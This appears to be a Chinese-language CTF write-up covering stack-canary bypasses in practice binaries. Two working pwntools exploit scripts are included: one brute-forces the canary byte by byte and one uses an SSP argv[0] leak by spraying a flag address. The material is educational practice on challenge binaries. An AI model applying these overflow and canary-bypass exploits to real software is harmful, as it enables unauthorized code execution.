https://xz.aliyun.com/t/4657#toc-0
题目来自上面这个链接 多谢大佬的 分享 偶然看到这个链接 然后 其实我自己做过类似的题目 但是 那个时候不懂保护姿势是什么
所以现在开始练习一下 因为一开始比较喜欢图形页面 所以一般都用ida 来调试 但是 后来 调试堆的时候 发现了 pwngdb 还有gef 等 gdb插件的好用 所以我就直接 开始用gdb
第一题 bin
这个题 先拖入ida 看一下
canary的经典题目 。。。。 先输入 利用格式化字符串 打印出canary的值 然后在paylaod 加上就行了
然后 直接 b main 然后就能 找到了
然后在输出的地方直接找偏移就好
在我们fun 里面的 返回地址 里面我们看一下
这里是ebp 下面是返回地址 然后
canary 这里就是在ebp -0xc 然后我们输入的地址在
然后可以知道 输入到canary的字节数是 0x64 然后 加上0xc 然后加上返回地址就行了
然后因为
我们 getshell 的时候有个仪式感 我就在我的python目录下面写了一个 flag 文件
生活要有仪式感·~~
bin1
这个题 比较坑爹的地方就是 多开了 进程 多进程调试。。。。。。。。。
脑壳痛 后来 想了一下 然后看了一下上面链接的题解 然后就 卧槽 我怎么没有想到。。。。。。 他这个就是
异或实现的 假如我们 高位是0 那么 低位开始 爆破就好了
爆破的其实还是挺快的。。
#coding=utf8
from pwn import *
context.log_level='debug'
elf = ELF('./bin1')
io = process('./bin1')
getflag_addr=0x804863B
def slove():
cancry=''
for i in range(4):
for j in range(256):
#print i,j
payload='a'*0x64+cancry+chr(j)
io.send(payload)
s=io.recv()
if 'recv' in s:
cancry+=chr(j)
break
return cancry
if __name__ =='__main__':
cancry=slove()
payload='a'*0x64+cancry+'a'*0xc+p32(getflag_addr)
io.sendline(payload)
print io.recv()
bin2
这道题。emmmmm 打死我也没有想到是这样子做的。。。。。
不过学到了两点 第一点 elf是 直接引用 上个链接大佬的原话 就是说ELF的重映射,当可执行文件足够小的时候,他的不同区段可能会被多次映射
这道题 真的是用心良苦啊~~~ 然后我们还比较可惜的是 我并不是知道 ssp攻击 但是唯一一点我知道的是 main 参数第一个参数是程序的 路径 。。。 故意触发 _stack_chk_fail
这里我用一下上面链接的一张图 应该看起来更清晰 侵权删
然后我们找偏移 也可以 一直填充flag的地址也是可以的
这是我们可以搜索到的字符串。。
我们要么直接填充 地址 直接暴漏 也可以寻找偏移 原谅我最近头大 所以就让我。。。 暴力吧 哈哈哈
不过我这里1000 好像不行 所以我填的是 2000
得到了flag。。
#coding=utf8
from pwn import *
#context.log_level='debug'
elf = ELF('./bin2')
io = process('./bin2')
if __name__ =='__main__':
flag_addr=0x400d20
io.recvuntil("Hello!\nWhat's your name?")
payload=p64(flag_addr)*300
io.sendline(payload)
io.recv()
io.sendline(payload)
io.interactive()
io.close()
get!
然后bin3 下面是主函数
先看一下 init ()
嗯 easy pwn。。。。。。。。。。 最近被一群大佬搞得头大 看见easy 就以为是 故意装成简单题那种。
先用ida 把这个alarm 给搞掉。。
然后 ??? 然后就不知道了。。。。。。。 哈哈哈哈
太难了 真的有点难度 。。。。。 没有什么好溢出的。。
然后。。。。。。。。 还是看了上面的那个链接 。。。。。。。
直接格式化字符串 这也太猛了把。。。 没有想到会是调用 格式化字符串